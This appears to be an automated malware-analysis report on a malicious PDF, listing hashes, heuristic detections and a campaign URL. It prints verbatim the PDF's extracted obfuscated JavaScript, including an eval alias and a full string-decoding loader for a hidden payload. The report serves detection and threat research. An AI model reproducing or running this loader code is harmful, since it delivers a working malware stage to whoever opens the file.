Malicious PDF — malware analysis report

Static analysis result for SHA-256 4f335a4a8bd07238…

MALICIOUS

PDF

2.7 KB First seen: 2026-05-10
MD5: 5a10cbf28caf4098fb77e5e73c10b002 SHA-1: 02cf3ec4064e280344f973a459a2eb397e231108 SHA-256: 4f335a4a8bd072380fb30aacc772581cb44f0ec191f0ddb1c4f2da0ddd5fafe2
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT, PDF_JS, PDF_EVAL, and PDF_FROMCHARCODE. The JavaScript streams are obfuscated and utilize eval() and String.fromCharCode() functions, suggesting an attempt to hide malicious code execution. This pattern is commonly used by malware to download and execute further stages. The extracted JavaScript files, javascript_obj111711_000.js and javascript_obj111712_001.js, are suspicious due to their size and obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/fwamk3/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/'); /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/_-a Referenced by PDF JavaScript
🗂 Part of campaign: d2f.qk 21 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111711_000.js pdf-javascript-stream PDF /JS object 111711 at offset 0x197 371 bytes
SHA-256: 038d8edf68549b825002ded516c64a0ce56363dbfdaf74129ad5b0263d3d42fe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/fwamk3/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/'); /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
javascript_obj111712_001.js pdf-javascript-stream PDF /JS object 111712 at offset 0x247 3008 bytes
SHA-256: ba266f9f096dd753022553d891810f1b2b8791fe59f9344816d20634748ec63b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
xwjmas3="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2b0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O2[0K0L242R0I3^0G2X3-000=0B2O0@2^0>3Z3d090:3M3P072_053N032S0131370,0-2`3O0*2a2c";ywdwfpx="A602ZBDFJcKb=gLj00C8hY7MM]T1D70SDG3?TD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?<9@==9`]aMgjU@fGKMg9e_7LL_fH7+[c:K,5P-.PC8b@VX282KbA`0=Dh9.3NV,.ZX8K6?Q:JTCN2*Eg2**.3OZ+,EGgR<=JXK8W:2<Z+4.?gJK96,N2/5+,4-^2;O^T:OJg]._Z9K96*>34`JK5+h_3dLT:NT@,.[@G,CSPZJ*-R:1*.2CAGK*GEB:**2=DJe.XfIK**1:P?*2=[CV3fWC,CW,ZJ*-R=,J.3cGg2**.3@R+,@_@:J*-R=[*.3fWC,CW,ZJ*-R<=J,.+`HK9C:V35+>K*5_R:**2<SQK,4V*:Qi1:NLXS,DCER<QEV32R@K9.*:QX`N3E4/K**,ZP/*2:@?U,*f,ZJ**:PVg>3:YXK*5J:J**:P+KB:@?U,*f8K***K*-P:J+^2=@H4.RAb:J8^B:**2=[B@.haVK/I:V2**@.ZR+,*16K5JU@.-8C,D^[:O,ie.+aE,**+,?UKB=0,].**G,H2*K9GU2=7R@.**G,B>*K9-YK***K4`*2<aL].**G,H2*K9GU2=7R@.**G,<F*:J8U_3f4/K3B4N2+Ha.**,.TCc:LU*.3jK_32UT:PP@e.Saf,<4/R=[*.3fWC,@]KB:**V3K:,./ODZJ8ZV2**.3U9/,>5fR:,c.2**.3JB@./ODZJ8^R:**2:*dN2*F].`QLK4/h_2-Va.**,.g@/K9GU2;Q>5,**/K64*:J+^2<c4`K*^P:PVg>3:YXK*GPZJ**:ODc@.[JVK**1:JUJ,.]XA:P6^B=-6/,>OQZJ**:J**:J**:J**:J**:J**:J**:J**:QCC>3OO@K8Xf2=*>.2Tb8K58fc<`*,.db?K5>e_3[H/,Fd;B;:O/K*,^R=VVT.Z/@K8TRV3Cb<K8W`R=V>@.?3>R=/*.3ag4.?hVK8Oa:KKJ+,?5cR<TY/,>,::LVCV2>?ER=[??,<G>>2CW*K*,?2:**2:^*O,*?[N2**.2]fXK9Z3:J/FC,**+,4-^2=d4i.G<Q:KP+4.*UM2:**2:]ffR:,XU,**+,+3O_2c^gK**,ZM-*,.,=5R;[Qd,**/K6**K0A66K9Z3:J/FC,**+,CU-2<c]=R=8CG,IJ<K*4c].**,.SbLK5OH4.U=1:M8U4.?E+:PD/R==5<K6b;:O^K<K*OR:K?IN2**@.Nc*K+GAR;ObG,D/1:J<*V2eYd,**/K9.*:M5TG,IJ<K*4c].**,._]NR:*F.2**.2**.2**.2**.2**.2**.2**.3cJ,.FCi:J*+B=8*2=I[>3@XI,?U@V3Pd@.+^-2=ZSV2BC5B:,TW,EGSN3P>O,@SKB<`EA:KGWV3DOU:J+DN3KF].WD`2;<XU,G=WK8G`B=5GD.Wb?K8SZR<^X].>*+,Gb@K/*U2:XhD.?jC,*1C,45_R;>XG,/bYK8h::J*R2;?Xi.>,U:KD]C,FRWB;AF4.?5VK8XeV2AH].cA/K,`>].>]<R=T/U,4*XZLJfc=K<U,<e?_22**gAP[[c:K,5P-.@0gYB*9dg:F<CNfGD]diEeG1aLZKd2?VFH.2:LdJ[0iQ<-L*`a***,0_;eV7dHZ*I^cKe2-A5f^Bcg2:K/^+L=V0I=.1.:fUeM3WHQL..*JK+*2-[HE11K,.38ZCh6:F<U>`Pi`71Vf+Q_[f2b_fHE11K,.2XB6<E/iEKVhO<-L9:DZR/*R/,0_:0XZ**+H2EC*Df***-Bcg2:K4U;L9?^+L5OeKU7:XQ282-BLdHRD^>5S]5cNa5gb-Cf4WL5OeKU7:XQ2HM_<gD-MZK,.2;JZ_dXO]h:`PRA=Pf2838ZCh6:h.PC8b@VXE11K,.2D=MZK,.A602_1UhBI0A[i:F;-XYT6P`eH2*;cY7MMZK,.9`M>b_M`R9AeZi6YMhiEeG1aLZLi2-AB*,g_1UhBI0A[i:h-L7+ej@1[OgIWMMZK,.D-`iV9M5cj282H-di9+-_;R9AeZi6YMhVFH.2:M3SQedE;iI`UGXZ[i1hD0[;DGHW+ej@1[OgIbP[[c:KS*";gvfwi=2739;jojtcvb=new Array();while(xwjmas3.length){jojtcvb.push((fwgma3(xwjmas3.charCodeAt(0))<<(4+2))+fwgma3(xwjmas3.charCodeAt(1))-(500+12));xwjmas3=xwjmas3.slice(2,xwjmas3.length)}xwgwe=itxse5=xwjmas3=0;kobtkt='';function fwgma3(elksx){if(elksx>92)elksx--;return elksx-42}function bpjrxt(){if(xwjmas3==0){itxse5=fwgma3(ywdwfpx.charCodeAt(xwgwe++));xwjmas3=6;}return ((itxse5>>--xwjmas3)&0x01);}while(gvfwi--){i=0;while(jojtcvb[i]<0){if(bpjrxt())i=-jojtcvb[i];else i++;}kobtkt+=String.fromCharCode(jojtcvb[i]);}

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